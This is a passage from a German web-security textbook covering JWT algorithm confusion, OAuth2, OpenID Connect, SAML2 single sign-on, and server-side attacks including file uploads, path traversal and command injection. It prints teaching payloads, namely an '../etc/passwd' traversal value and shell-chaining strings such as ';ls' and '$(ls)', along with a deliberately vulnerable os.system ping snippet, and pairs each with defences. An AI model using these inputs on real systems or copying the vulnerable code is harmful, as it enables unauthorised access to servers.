Ein weiteres Problem tritt bei einer Confusion betreffend dem verwendeten
Verfahren zur Berechnung der Prüfsumme (dritter Bereich des Tokens) auf.
Hier gibt es die Möglichkeit, dass ein Public-Key basiertes Verfahren zur Er-
stellung einer Signatur oder ein shared-key basiertes Verfahren zur Erstellung
eines MACs verwendet wird.
Die Methode zur Verifikation eines Tokens wird folgend aufgerufen:

validate(token, key)

Als erster Parameter wird das zu verifizierende Token übergeben, als zwei-
ter Parameter wird der zu verwendende Key übergeben. Bei einem Signature-
basierten Verfahren würde hier der public-key übergeben (da die Signatur ja
mittels des public-Keys verifiziert wird), bei einem MAC-basierten Verfahren
wird hier der shared private key übergeben (der für die Berechnung des MACs
benötigt wird). Die Selektion des Verfahrens geschieht über den alg Parameter
im Header des Tokens. Wird ein Signatur-basiertes Verfahren gewählt, ist der
Public-Key fast immer öffentlich verfügbar.
Ein Problem tritt nun auf, wenn der Entwickler eines Services davon aus-
geht, dass der Client immer ein Signatur-basiertes Verfahren verwenden wird.
In dem Fall würde eine naive Implementierung folgenden Code wählen:

# assume that token is an signature-based token


validate(token, public-key)

Es wird also der public key verwendet um die Signatur zu überprüfen.


Ein Angreifer kann nun den public key herunterladen und selbst ein neues
Token erstellen. Bei diesem setzt er den alg Wert auf MAC, generiert also ein
MAC-basiertes Token. Als geheimen Schlüssel für dieses Token verwendet er
den public key der für die Überprüfung der Signatur verwendet wird. Wenn
er nun dieses Token an den Service übergibt wird folgendes Code-Fragment
aufgerufen:

# token ist ein MAC-basiertes token


# die validate Funktion wird deswegen versuchen
# einen MAC zu berechnen und verwendet dafür
# den zweiten Parameter (public-key)
validate(token, public-key)
9.5. REFLEKTIONSFRAGEN 97

Da der Server (hardcoded) annimmt, dass eine Signatur überprüft wird,


wird der public key (den der Angreifer zum Erstellen des MACs verwendet hat)
als Schlüssel übergeben. Die validate Funktion liest nun das Token, erkennt,
dass dieses MAC-basiert ist und verwendet nun den übergebenen Schlüssel um
einen MAC zu berechnen. Dieser ist nun ident zu dem MAC den der Angrei-
fer gespeichert hat und die Operation wird aufgerufen, obwohl der Angreifer
darauf keinen Zugriff erhalten sollte.
Dieses Problem zeigt, dass der Entwickler des Webservices immer sicher-
stellen muss, dass das Token den erwarteten Algorithmus (in diesem Fall einen
Signatur-basierten Algorithmus) verwendet. Falls das Token hier einen ande-
ren Algorithmus verwendet hat, muss das Token verworfen werden.

9.5 Reflektionsfragen
1. Was versteht man unter einem Session-Fixation Angriff?

2. Erkläre client- und server-seitige Session-Konzepte. Welche Variante soll-


te man aus Sicherheitsgründen wählen und erläutere dies.

3. Wie sieht ein guter Umgang mit einer Session aus? Wann wird diese
angelegt, wann gelöscht. Wie sollte sie implementiert werden?

4. Welche sicherheits-relevenaten Probleme gibt es im Zusammenhang von


Mixed-Content und Session-IDs?

5. Warum sollten Session-ID nie innerhalb der URL (bzw. als HTTP GET-
Parameter) verwendet werden?
KAPITEL 10
Federation/Single-Sign on

Werden mehrere Webapplikationen betrieben, entsteht schnell der Wunsch,


Benutzerkonten zwischen diesen Applikationen zu synchronisieren. Die Grun-
didee ist es, ein unified Authentication/Authorization-Konzept über mehrere
Server hinweg zu implementieren. Potentielle Gründe für den Einsatz einer
Single-Sign On oder Federation Lösung sind:

ˆ SSO erlaubt es mehreren Applikationen eine gemeinsame Login/Logout-


Lösung zu verwenden. Dadurch können redundante Lösungen eingespart
und duplizierte Sicherheitsprobleme vermieden werden. Nachteil: der
Login-Server ist ein Single-Point-of-Failure.
ˆ Das gesamte Passwort-Management kann aus der Webapplikation aus-
gelagert werden. Es müssen keine Passwörter mehr selbst erhoben, be-
arbeitet oder gespeichert werden.
ˆ Die User-Experience ist angeblich besser. Der Aufwand für einen Benut-
zer einen neuen Account anzulegen wird minimiert.
ˆ Durch den Login-Server können weitere Authenticationsservices imple-
mentiert worden sein, z.B. Ausweiskontrolle oder eine Multi-Faktor-
Authentication.

10.1 Festival-Beispiel
Eine gute Analogie ist ein Musikfestival bei welchem Besucher auf dem Festi-
valgelände Getränke erwerben können. Je nach Alter darf ein Kunde alkoholi-

99
100 KAPITEL 10. FEDERATION/SINGLE-SIGN ON

sche oder nicht-alkoholische Getränke kaufen. Müsste nun jeder Getränkestand


bei jeder Bestellung Eintrittskarte und den Ausweis (Altersnachweis) des Be-
suchers kontrollieren, würde dies zu starken Verzögerungen führen.
Um die Situation zu verbessern, werden beim Festivaleingang die Besucher
einmalig bei einem Registrationszelt kontrolliert. Jeder Besucher erhält ein
Armband um zu beweisen, dass er eine Eintrittskarte besass. In Abhängigkeit
vom Alter bekommen Minderjährige Besucher ein blaues Armband, erwachse-
ne Besucher ein rotes Armband. Anhand dieses Armbands (Token) können nun
die Getränkestände schnell kontrollieren, ob ein Gast alkoholische Getränke
konsumieren darf. Zusätzlich wird über den Besitz des Bands überprüft, ob ein
Besucher eine Eintrittskarte besass. Falls ein Besucher bei einem Getränkeshop
ohne Band ein Getränk kaufen will, wird er zu dem Registrationszelt verwie-
sen.
In diesem Beispiel ist das Registrationszelt der Identity Provider, die Ge-
tränkehändler sind Service Provider, das Armband ein Token und der Besucher
der Client.
Das Beispiel zeigt auch zwei Probleme von token-basierten Lösungen. Das
Armband gilt für die gesamte Dauer des Festivals (im Folgejahr werden andere
Farben verwendet). Es gibt keine Möglichkeit einen Teil der Armbänder nach
dem ersten Festivaltag zu invalidieren. Ebenso wird klar, dass jegliche Form
von Zugriffskontrolle durch das Armband ersetzt wird. Wollen z.B. ein Vater
und Sohn beide Alkohol kaufen, kann der Vater initial den Identitätscheck
durchführen und dann sein Armband an seinen Sohn weitergeben. Der Vater
geht danach wiederholt zum Registrationszelt und kauft sich ein zweites Zu-
gangsband. Mit dem ersten Band kann nun der Sohn beliebig Alkohol kaufen
ohne dass auffällt, dass sein Alter dies eigentlich verbieten sollte. Der alleinige
Zeitpunkt der Überprüfung (Authorization) geschieht während der Bandaus-
gabe.

10.2 OAuth2
OAuth2 (Open Authorization1 ) erlaubt es einem Benutzer (Resource Owner)
einer Applikation (Client) Zugriff auf Resourcen/Operationen auf einem Ser-
ver (Resource Server) zu erteilen. Ein Authorization Server wird verwendet
um ein Zugriffs-Token für einen definierten Bereich (scope) am Resourcen-
Server auszustellen. Zusätzlich zu dem Zugriffs-Token wird zumeist auch ein
Refresh-Token ausgestellt mit dem ein Client ein neues Zugriffstoken ohne
Benutzerinteraktion generieren kann.
1
url[Link]
10.2. OAUTH2 101

Da die Rechte eines ausgestellten Token im Normalfall nur während der


Ausstellung überprüft werden und danach für die gesamte Lebenszeit des To-
kens gültig sind, wird bestenfalls eine sehr kurze Lebenszeit im Minutenbe-
reich gewählt. Läuft das Token ab, kann mit den Refresh-Token ein neu-
es Access-Token angefordert werden. Da hierfür keine Benutzerinteraktion
benötigt wird, kann dies automatisiert und transparent für den Endbenutzer
erfolgen. Der Vorteil liegt darin, dass während der Ausstellung durch den Au-
thorisationsserver die angeforderten Rechte des Tokens wiederholt überprüft
werden.

Web Browser Client (Web Service) Authorization Server Resource Server


Resource Owner

ruft Operation auf

Operation mit
Resourcenzugriff

Benötigt Zugriff
auf die Resource

Redirect zu
Authorization Server

Authorization Request

Authorization GUI

Anzeige des Authorization GUIs

Authorization durchführen

Authorization Code

Redirect inkl.
Authorization Code

Authorization Code

Authorization Code

Access Token,
Refresh Token

Zugriff mit Access Token

Angefragte Resource

Resource Owner
Web Browser Client (Web Service) Authorization Server Resource Server

Abbildung 10.1: Beispiel für einen OAuth2-Fluss (tex into pdf)

Ein interessanter Aspekt ist der Zeitpunkt der Authorization: die Überprüfung
der eigentlich Zugriffsberechtigung wird durch den Authorization-Server zum
Zeitpunkt der Ausstellung des Tokens durchgeführt. Bei einem Zugriff auf den
Resourcen Server werden die eigentlichen Berechtigungen nicht mehr überprüft,
sondern nur noch getestet ob das übergebene Token Zugriff auf die angeforder-
ten Resourcen inkludiert und von einem validen Authorization Server signiert
102 KAPITEL 10. FEDERATION/SINGLE-SIGN ON

wurde.
Das Token besitzt eine Laufzeit und ist bis zum Ende der Laufzeit gültig.
Da der Resource Server nicht direkt mit dem Authorization Server kommu-
niziert, gibt es keine Möglichkeit ein Token zuvorig zu invalidieren. Dies ist
problematisch, falls eine lange Laufzeit (z.B. ein Jahr) gewählt wurde und
ein Token abhanden gekommen ist. Ein Angreifer mit dem entwendeten To-
ken kann nun bis zum Ende der Laufzeit dieses Token verwenden um auf die
Resource zuzugreifen.
Um dieses Problem zu entschärfen werden zumeist zwei Tokens generiert:
ein Access-Token und ein Refresh-Token. Das Access-Token wird zum Zugriff
auf den Resource Server verwendet und besitzt eine sehr kurze Laufzeit, zu-
meist im Minuten-Bereich. Falls ein Access-Token abgelaufen ist, kann der
Client das Refresh-Token verwenden um (ohne Benutzerinteraktion) ein neu-
es Access-Token zu erhalten. Dies verbessert die Sicherheitssituation, da der
Authorization-Server vor dem Ausstellen eines Access-Tokens überprüft, ob
das Subject/der User überhaupt noch die notwendige Berechtigung besitzt.
Dadurch wird das verwundbare Zeitfenster zwar nicht entfernt, aber zumin-
dest reduziert.

10.3 OpenID Connect


OpenID Connect verwendet OAuth2 um eine Benutzerauthentication durch-
zuführen. Es gibt verschiedene Subprotokolle (flows genannt). Im Allgemeinen
funktioniert das OpenID Connect Protokoll auf folgende Weise:

1. Der Client schickt einen Request zu dem OpenID Provider.

2. Der OpenID Provider authentifiziert den Benutzer, der Benutzer bestätigt


den Authentication Request.

3. Der OpenID Provider returniert einen ID Token (und zumeist auch einen
Access Token).

4. Der Cient kann das Access Token verwenden um weitere Informationen


über den User über den UserInfo Endpoint zu erhalten.

Das ID Token ist ein JSON Web Token (JWT, siehe auch Kapitel 9.4,
Seite 94), folgende Felder müssen in diesem ausgefüllt werden:

iss : der Aussteller des Tokens. Dieser muss ein https-Endpunkt sein.
10.4. SAML2 103

Eigenschaft Code Implicit Hybrid


Authorization Endpoint versendet alle Tokens nein ja nein
Token Endpunkt versendet alle Tokens ja nein nein
User Agent erhält Tokens ja nein nein
Client kann authenticated werden ja nein ja
Refresh Tokens können verwendet werden ja nein ja
Kommunikation geschieht in einem Roundtrip nein ja nein
Großteils Server-zu-Server Kommunikation ja nein teilweise

Tabelle 10.1: Übersicht über die verschiedenen OpenID Connect Flüsse

sub : der subject identifier identifiziert den Benutzer.

aud : der Identifier für den Server, der die Authentification anforderte.

exp : Ablaufdateum des Tokens.

iat : Austellungsdatum des Tokens.

OpenID Connect definiert drei verschiedene flows (code, implicit oder hy-
brid ), ihre Unterschiede werden kurz in Tabelle 10.1 aufgeführt. Für ,,normale”
Applikationen wird die Verwendung des code Flows empfohlen.

10.4 SAML2
Die Abkürzung SAML2 steht für Security Assertion Markup Language (Versi-
on 2). Diese XML-basierte Sprache dient zum Austausch von Authentication
und Authorization Informationen zwischen mehreren Parteien. Dabei will sich
ein Benutzer mittels eines Clients (z.B. Webbrowser) an einem Service Pro-
vider (z.B. Webserver) anmelden. Um dies durchzuführen wird ein Identity
Provider (IdP) bemüht dieser ist ein Service welches für einen User gegenüber
einem Service Provider authentifiziert und autorisiert; ebenso kann dieser Ser-
vice einen synchronen Single Sign-Out durchführen.
Die jeweiligen Operationen werden im SAML2 Jargon häufig Flows ge-
nannt. Es gibt Login- und Logout-Flows, beide können entweder vom Service
Provider oder vom Identity Provider gestartet werden. Diese unterschiedliche
Ausprägung ist durch unterschiedliche Use-Cases bedingt. Falls ein Betrieb
mehrere Websysteme betreibt, die eigenständig sind (z.B. eine GitLab-Instanz,
104 KAPITEL 10. FEDERATION/SINGLE-SIGN ON

eine NextCloud-Instanz), diese aber mit einem unified Sign-In versehen will,
macht der SP-trigered flow Sinn. Der Benutzer wird beim Login auf z.B. Git-
Lab zu dem IdP weitergeleitet und loggt sich auf diesem ein. Es wird eine
Bestätigung für GitLab generiert (Token) und der User wird automatisch mit
diesem Token zu dem GitLab-Server weitergeleitet (auf dem er nun eingeloggt
ist). Den IdP-triggered flow würde man eher in einem Portal-Umfeld verwen-
den: hier gibt es eine initiale Login-Seite und dem Benutzer wird danach ein
typisches Portal mit mehreren eigenständigen aber integrierten Applikationen
angezeigt. Wenn er nun auf eine Subapplikation klickt, wird das Token au-
tomatisch mit übertragen und der User ist in der Subapplikation eingeloggt
(ohne zuvor vom SP zum IdP umgeleitet zu werden).

10.4.1 SAML2 Assertions


Das Herzstück von SAML2 sind die Security Assertions die vom IdP ausge-
stellt werden. Eine solche Assertion beschreibt die Rechte, welche ein User
auf einem SP besitzt. Die Assertion wird vom IdP mittels einer public-key
basierten Signatur unterschrieben.
Typische Elemente einer Assertion wären:

ˆ Issuer identifiziert den IdP der diese Assertion ausgestellt hat.

ˆ Signature beinhaltet die Signatur welche die Integrität der Security As-
sertion sichert.

ˆ Subject beschreibt das identifizierte Objekt, in diesem Fall den identi-


fizierten User. Der verwendete Identifier (NameId ) kann verschiedene
Typen besitzen, häufig wird transient verwendet. transient beschreibt
einen kurzfristigen Identifier, ähnlich einer Session-Id, und besitzt den
Vorteil, dass auf diese Weise der SP nicht die genaue Identität des Sub-
jects erfährt.

ˆ Conditions: beliebig viele Conditions welche den Anwendungsbereich der


Assertion beschränken. Beispiel sind z. b. temporale Beschränkungen
(NotBefore, NotOnOrAfter ) oder eine Einschränkung der Service für
welche die Assertion gültig sein soll.

ˆ AttributeStatement: beliebig viele Attribute-Statements welche optio-


nale Daten an die Assertion anhängen.
10.4. SAML2 105

ˆ AuthnStatement beschreibt die Assertion selbst und beinhaltet einen


eindeutigen Identifier für die Assertion (SessionIndex ). Dieser Identi-
fier wird häufig im Zuge des Sign-Out zur Identifikation der betroffenen
Session verwendet.

Bei einem realen Deployment kann die Situation auftreten, dass mehrere
Identity Provider verfügbar sind und der Service Provider den korrekten IdP
selektieren muss. Ein Beispiel wäre ein Unternehmen welches interne User
gegen einem Active Directory und externe User gegen einen öffentlichen IdP
authentifiziert.
Um die Selektion des IdPs zu vereinfachen, gibt es das IdP Discovery
Protokoll. Die beiden häufigen Arten des IdP Discoveries sind:

ˆ IdP Discovery am SP: der SP selbst kann die User einem IdP zuordnen
und weiß daher, welchen IdP er kontaktieren soll.

ˆ Delegated IdP Discovery: der SP leitet die Anfrage an einen eigenen


IdP Discovery Service weiter. Dieser identifiziert den zu wählenden IdP
und retourniert diese Information an den SP. Bei diesem Protokoll muss
erwähnt werden, dass die gesamte Kommunikation über den Client läuft:
der SP teilt dem Client mit, dass dieser per HTTP Redirect den IdP Dis-
covery Service kontaktieren soll (auf diese Weise erhält der IdP Discovery
Service die IP des Clients).

10.4.2 Protocol Bindings


SAML2 dient zur Vereinheitlichung bestehender SSO-Lösung, daher wurde
beim Entwurf des Standards auf vielfältige Integrationsmöglichkeiten in beste-
hende Netzwerke geachtet. Dementsprechend definiert SAML2 multiple Trans-
portprotokolle, sogenannte Bindings:

ˆ HTTP Redirect Binding

ˆ HTTP POST Binding

ˆ HTTP Artifact Binding

ˆ SAML SOAP Binding

ˆ Reverse SOAP Binding

ˆ SAML URI Binding


106 KAPITEL 10. FEDERATION/SINGLE-SIGN ON

Bei Webbrowser-basierten Flows wird meistens das HTTP Redirect oder


das HTTP POST Binding verwendet. Bei dem Redirect binding werden die
übertragenen SAML Dokumente mittels Base64 codiert und als HTTP Para-
meter innerhalb von HTTP Redirects verwendet. Da die Länge der Parameter
durch die jeweiligen Webbrowser limitiert ist, wird dieses Verfahren vor allem
für kurze Nachrichten verwendet. HTTP POST basierte Verfahren verpacken
die Nachrichten innerhalb von HTML Formularen und umgehen dadurch die
Größenlimitierung. Um den Fluss zu automatisieren, werden die Formular zu-
meist mittels JavaScript automatisch versendet.

10.4.3 SAML2-Beispiel: Single Sign-On


Abbildung 10.2 zeigt ein Beispiel für ein SP-initiated Single-Sign On welches
durch einen Service Provider gestartet und mittels HTTP POST Binding im-
plementiert wurde.
In diesem Beispiel will ein Client (User Agent) auf einen Service Pro-
vider zugreifen und benötigt hierfür eine Autorisierung. Nach dem initialen
Client-Zugriff (Schritt 1) verwendet der SP zusammen mit dem Client das
IdP Discovery Protokoll um den zugehörigen IdP zu identifizieren. Sobald
dieser bekannt ist, erstellt der SP einen Authorization Request und teilt die-
sen (samt der Adresse des IdPs) dem Client mit. Der Client kontaktiert nun
den IdP und übermittelt den Request.
Der IdP authentisiert und autorisiert nun den Client. Falls dies erfolgreich
durchgeführt wurde, wird eine SAML2 Security Assertion ausgestellt, vom
IdP signiert und dem Client mitgeteilt. Da dies ein HTTP POST basierter
Flow ist, erstellt der IdP ein HTML Formular, inkludiert in diesem HTML
Formular das generierte SAML-Dokument (hidden field) und submitted das
Formular automatisch mittels Javascript (Schritt 4). Der Client greift nun auf
den SP zu und übermittelt die SAML assertion. Der SP verifiziert die Signa-
tur und erstellt eine Session basierend auf den Daten innerhalb der Assertion.
Bei Schritt 6 wird (wahrscheinlich, ist implementierungsabhängig) ein Session
Cookie gesetzt, dass der Client bei allen weiteren Anfragen an den SP ver-
wendet. Auf diese Weise sind nun alle folgenden Requests authentifiziert und
autorisiert.

10.5 Reflektionsfragen
1. Wie funktioniert der Sign-On Fluss bei SAML2?

2. Wie funktioniert der Authorisierungsfluss bei OAuth2?


10.5. REFLEKTIONSFRAGEN 107

User Agent Service Provider Identity Provider


User

Access Service

Brwoser requests Resource

Redirect to IdP

Browser Request SAML Token

401 Authenticate

Display Login Form

Authenticate

Authentication Information

SAML Token

Request Resource with SAML Token

Resource

User User Agent Service Provider Identity Provider

Abbildung 10.2: Beispiel für ein Single-Sign On welches durch einen Service-
Provider angestossen wurde.

3. Wie ist ein JSON Web Token aufgebaut? Welches Problem kann im
Zusammenhang mit Verwechslungen der Signatur und er MAC-Adresse
passieren?

4. Welche Rolle übernimmt das IdP Discovery Protokoll innerhalb von


SAML2?

5. Gegeben eine SAML2 Example Assertion, was sagt diese aus (wer ist
issuer? wer ist subject, etc.)?

6. Wie ist das Verhältnis zwischen OIDC und OAuth2?


Teil III

Injection Attacks

109
KAPITEL 11
Serverseitige Angriffe

Ein Grundsatz der Programmierung ist Garbage-In, Garbage-Out. In An-


lehnung an FIFO (First-In, First-Out) wird damit ausgedrückt, dass durch
“schlechte” Benutzereingaben undefiniertes Verhalten produziert wird. Während
dies ursprünglich funktional gedacht war, ist diese Aussage auch für die Si-
cherheit einer Applikation relevant.
Benutzern kann nicht getraut werden. Während gutartige Benutzer bes-
tenfalls wirre Eingaben erstellen, werden durch bösartige Benutzer Eingaben
durchgeführt, die gezielt die Sicherheit eines Systems kompromittieren sollten.
Das Grundmuster ist, dass eine Benutzereingabe als Kommando interpretiert
wird. Dies wird durch Angreifer ausgenutzt um, von der Applikation ungewoll-
te, Kommandos abzusetzen. Diese Kommandos werden dann mit den Rechten
der Webapplikation (oder eines weiteren Hintergrundsystems) ausgeführt.
Ein Problem ist die große Angriffsfläche da nicht nur die direkt Eingabe-
verarbeitenden Stellen überprüft werden müssen, sondern alle Programmteile
die potentiell Benutzereingaben indirekt erhalten können (z.B. Daten aus dei-
ner Datenbank auslesen, die ursprünglich von einem Benutzer bereitgestellt
wurden). Ebenso muss ein Ausbruch nicht direkt am angegriffenen System er-
folgen, sondern kann auch auf Hintergrundsystemen passieren. Beispielsweise
kann ein Angreifer eine Webapplikation angreifen, bricht aber erst auf Daten-
bankebene aus dem System aus (auf einem getrennten Datenkbankserver).
Da Tests auf Injection-Angriffe meist gegen bestimmte Operationen und
bestimmte Hintergrundsysteme gerichtet sind (z.B. gegen eine MSSQL Daten-
bank) werden zumeist dutzende oder hunderte Angriffsmuster durchprobiert.
Aus Effizienzgründen wird hier sehr stark auf automatisierte Tools gesetzt.

111
112 KAPITEL 11. SERVERSEITIGE ANGRIFFE

Der Verteidigungsgrundsatz ist es, niemals Benutzerdaten zu vertrauen.


Alle Benutzereingaben müssen auf Schadmuster hin überprüft werden, falls
Schadcode entdeckt wird, muss die Eingabe verworfen oder gecleaned wer-
den. Aufgrund der vielen verschiedenen Angriffsmuster ist dies nur mittels
Bibliotheken sinnvoll möglich. Benutzereingaben dürfen niemals direkt zur
Erstellung dynamischer Operationen verwendet werden. Die meisten Frame-
works bieten dezidierte Möglichkeiten um Benutzereingaben in Operationen
zu inkludieren (z.B. prepared statements), bei diesen wird automatisch eine
Filterung von Schadcode durchgeführt. Und schlussendlich sollten alle Benut-
zerausgaben noch bereinigt bzw. maskiert werden bevor sie wieder angezeigt
werden. Dadurch wird verhindert, dass Operationen im Kontext eines anderen
Benutzers ausgeführt werden.
Als zusätzliche Hardening-Maßnahme können Sandboxing-Konzepte, op-
tionale HTTP Security-Header und IDS/IPS-Systeme verwendet werden.

11.1 File Uploads


Wenn ein Benutzer bei einer Webseite Dateien hochladen und der idente Be-
nutzer (oder ein anderer Benutzer) danach wieder auf diese Dateien zugreifen
kann, ergeben sich zwei Gefährdungsmomente. Einerseits kann der idente Be-
nutzer versuchen, mit dem hochgeladenen File den Server direkt anzugreifen
(z.B. um Code am Server auszuführen), auf der anderen Seite kann ein An-
greifer versuchen, auf diese Weise einen anderen Benutzer anzugreifen (z.B.
um dessen Session zu übernehmen).

11.1.1 Das Upload-Verzeichnis


In einer sicherheitstechnisch guten Webapplikation sind alle Dateien und Ver-
zeichnisse schreibgeschützt — Angriffe, die serverseitig Dateien erstellen oder
modifizieren müssen, werden dadurch erschwert. Die einzige Ausnahme sollte
das Upload-Verzeichnis sein in welches die Webapplikation (bzw. der Syste-
muser der Webapplikation) schreibend zugreifen darf.
Dieses Verzeichnis sollte niemals unterhalb des Webroots liegen, falls z.B.
der Webroot /var/www/html ist, sollte das Uploadsvereichnis sich nicht un-
ter /var/www/html/uploads befinden. Würde das Verzeichnis so situiert
sein, kann der Webserver bei einem Zugriff auf ein hochgeladenes File schwer
unterscheiden, ob eine hochgeladene Datei zum “normalen” Umfang der We-
bapplikation gehört, oder ob es sich um eingeschleusten Schadcode handelt.
Zusätzlich sollten Directory-Listings für dieses Verzeichnis deaktiviert werden
11.1. FILE UPLOADS 113

und das Verzeichnis auf einer Partition mit aktivierter noexec Mount-Option
(bei Verwendung von Linux) platziert werden.
Der Dateiname, unter dem ein hochgeladenes File abgelegt wird, sollte
niemals durch den User bestimmt werden. Dies würde path traversal Angriffe
erlauben1 bzw. könnte ein Angreifer den bekannten Pfad zu einem File im
Zuge von weiteren Injection-Angriffen verwenden.
Ein architekturelles Problem ist durch die Struktur von Webapplikationen
bedingt. Eine deployte Webapplikation besteht meistens aus einem Webserver
und einem Applikationsserver. Ersterer ist für die Zustellung statischer Da-
teien optimiert, letzterer beinhaltet die Applikationslogik inkl. der Zugriffs-
kontrollen. Werden Dateien direkt über ein Upload-Verzeichnis bereitgestellt,
übernimmt diese Aufgabe der Webserver (der für diese statische Zustellung op-
timiert ist) und nicht der Applikationsserver — in diesem Fall kann es passie-
ren, dass die Authentication und Authorization nicht überprüft wird. Um dies
zu vermeiden, sollte ein Download immer mittels einer dezidierten Downloa-
doperation, z.B. mittels [Link] id=xxx,
durchgeführt, und auf diese Weise durch den Applikationsserver ausgeführt
werden. Dabei sollten serverseitig die benötigten Zugriffsrechte überprüft wer-
den, als Id wird die Verwendung einer zufälligen ID wie z.B. einer UUID emp-
fohlen.

11.1.2 Upload von Malicious Files


Ein einfacher Angriff ist der der Upload von Dateien, die Code zur server-
seitigen Ausführung beinhalten — z.B. das Hochladen von einer .php Da-
tei bei Verwendung einer PHP Webapplikation. Der Angreifer würde nach
dem Upload auf die Datei zugreifen und dadurch den Code am Server zur
Ausführung bringen. Bei einem File-Upload sollten daher die möglichen Da-
teitypen durch eine Whitelist auf Dateitypen, die nicht am Server exekutiert
werden, beschränkt werden. Ebenso sollte mittels dem Content Disposition
HTTP Header dem Browser mitgeteilt werden, dass eine bezogene Datei ex-
plizit heruntergeladen sollte (und nicht als Teil der Webapplikation ausgeführt
werden sollte).
Eine weitere Empfehlung ist die Verwendung eines server-seitigen Virens-
canners. Diese arbeiten zumeist auf Dateisystem-Basis — wird ein File mit
bösartigem Code hochgeladen, wird dieses gescannt und gegebenenfalls unter
Quarantäne gestellt bzw. gelöscht. Da die Webapplikation dies nicht automa-
tisch bemerkt, kann es dabei zu Inkonsistenzen zwischen dem Dateisystem und
1
Diese werden im Kapitel Injection Attacks erklärt.
114 KAPITEL 11. SERVERSEITIGE ANGRIFFE

verlinkten Dateien in der Webapplikation kommen. Eine saubere, aber aufwen-


dige, Lösung wäre die Integration des Virenscanners in den Upload-Prozess
der Webapplikation (z.B. über ein API des Virenscanners). Ein workaround
wäre es, falls der Virenscanner beim Löschen einer Datei eine gleichnamige
Datei mit einem Löschhinweis hinterlegt. Auf diese Werden werden die toten
Dateilinks innerhalb der Applikation vermieden.
Besondere Beachtung sollte der Upload von gepackten Dateien (zip, rar )
erhalten. Hier muss auf der einen Seite beachtet werden, dass Archive ent-
packt und der Inhalt des Archivs ebenso analysiert wird, auf der anderen
Seite muss darauf geachtet werden, dass während des Entpackvorgangs kein
Sicherheitsfehler passiert.
Ein Spezialfall des Uploads von malicious Dateien ist der Upload von Da-
teien, die bösartiten JavaScript-Code beinhalten. Da diese Angriffe gegen an-
dere Clients (zumeist Webbrowser) abzielen, werden diese im Kapitel Client-
seitige Injection Angriffe (Kapitel 12.1.4) behandelt.

11.1.3 Sandboxing
Falls eine Webapplikation nicht-vertrauenswürde Dateien verarbeiten muss,
muss diese Dateien aus nicht-vertrauenswürdigen Quellen (Benutzer) analy-
sieren. Dies ist eine notorisch gefährliche Operation und wird selten vollkom-
men sicher implementiert werden können. Um das potentielle Schadmass zu
reduzieren kann Sandboxing verwendet werden. Dabei wird der Parse-Code in
einem abgeschotteten Bereich des Systems ausgeführt, im Falle eines erfolg-
reichen Angriffs wird zumindest nicht das Gesamtsystem kompromittiert.
Wird server-seitig ein Virenscanner verwendet um hochgeladene Dateien
auf Schadcode hin zu überprüfen, sollte dieser ebenso vom Rest des Systems
abgeschottet werden. In den letzten Jahren wurden vermehrt Angriffe gegen
Virenscanner festgestellt. Diese sind für Angreifer sehr lohnende Ziele, da sie
alle incoming Dateien vor gereicht bekommen und zumeist mit administrativen
Rechten ausgestattet sind.
Techniken in diesem Umfeld beinhalten chroots, Jails, Container und Microservice-
Architekturen.

11.2 Path Traversals


Bei einem Path Traversal wird versucht, über modifizierte Parameter auf Res-
sourcen außerhalb des Webroots einer Webapplikation zuzugreifen. Auf diese
Weise kann versucht werden, auf applikations-externe Ressourcen lesend oder
11.3. COMMAND INJECTION 115

schreibend zuzugreifen bzw. kann versucht werden, ausführbare Dateien am


Server zu starten.
Ein Beispiel für eine potentiell angreifbare Operation wäre [Link]
[Link]/[Link]?file=[Link]. Ein Angreifer könnte versuchen,
über den Wert ./../../../../etc/passwd für den Parameter file auf eine Datei
außerhalb des Webroots zuzugreifen.
Als Gegenmaßnahme sollte primär versucht werden, nicht Dateinamen als
benutzer-gesteuerten Parameter zu verwenden. Falls dies wirklich notwendig
ist, sollten die Dateinamen gegen eine rigorose Whitelist und auf invalide Steu-
ersignale hin (z.B. NULL-Characters und Zeilenumbrüche) überprüft werden
und vor dem Zugriff auf Ressourcen der kanonische Pfad gebildet und verifi-
ziert werden.
Eine weitere Sicherheitsmaßnahme wäre der Einsatz von Sandboxing-Techniken
wie eines chroot. Durch Anwendung des Separation of Privileges Prinzips wird
das Schadmass verkleinert: der Webserver sollte nur auf Dateien zugreifen
können die für den Webserver relevant sind. Weitere Dateien (wie z.B. Sys-
temdateien) sollten weder lesend noch schreibend zugreifbar sein.

11.3 Command Injection


Eine Command Injection zielt darauf ab, Binaries (Kommandozeilentools) auf
dem Zielserver auszuführen, zumeist wird dies über modifizierte HTTP Opera-
tionsparameter erzielt. Beliebtes Ziel ist das Erstellen einer shell oder reverse-
shell: dies erlaubt es Angreifern, ähnlich wie mittels SSH, mit den Rechten
der Webapplikation Befehle am Server auszuführen.
Im Zuge einer Command Injection wird ein Programm am Server aus-
geführt. Da die meisten Webapplikationen losgelöst vom zugrunde liegenden
System (z.B. Windows oder Linux) entwickelt werden, rufen diese selten direkt
Systemkommandos auf. Eine Ausnahme sind embedded Systeme bei denen
die Hardware zusammen mit der Software gebündelt geliefert wird. Gerade
im Router-/AccessPoint-Umfeld werden gerne direkt Systemkommandos über
die Weboberfläche aufgerufen. Dementsprechend ist das klassische Command
Injection Beispiel eine typische Weboperation die von Access Points bereit-
gestellt wird: mittels des ping Kommandos soll die Netzwerkkonnektivität
zwischen dem Access Point und einem externen Server überprüft werden.
Dies könnte mit folgendem Pseudo-Python Code implementiert werden:
import os
domain = user_input()
[Link]('ping ' + domain)
116 KAPITEL 11. SERVERSEITIGE ANGRIFFE

In der Variable domain wird eine Benutzereingabe gespeichert, es wird


angenommen, dass diese ein domainname ist. Ein Angreifer könnte nun z.B.
localhost; ls als Eingabe verwenden. Durch den übergebenen ; wird bei Unix-
Kommandos ein Kommando beendet und das nächste begonnen. Durch diese
Verkettung versucht also der Angreifer das Kommando ls einzuschleusen.
Ähnliche Muster sind:

ˆ ;ls

ˆ $(ls)

ˆ ‘ls‘

Ein ähnliches Verhalten kann ausgenutzt werden, wenn der Verdacht be-
steht, dass Dateien mittels Systembefehlen ausgegeben werden und die aus-
zugebende Datei über HTTP Parameter übermittelt wird.
Beispiele hierfür:

ˆ [Link]

ˆ [Link]

Um Command Injection Probleme zu umgehen wird empfohlen, Program-


mierbibliotheken anstatt von Kommandozeilenaufrufen zu verwenden. Da hier-
bei nun keine getrennte Shell geöffnet wird, kann an dieser Stelle auch kein
Kommando eingefügt werden.

11.4 Datenbank-Injections
Datenbank-Injections gehören zu den selteneren, dafür aber schwerwiegen-
deren, vorkommenden Sicherheitsfehlern. Das Grundproblem ist, dass Da-
tenbankabfragen unter Zuhilfename von Benutzereingaben gebaut werden.
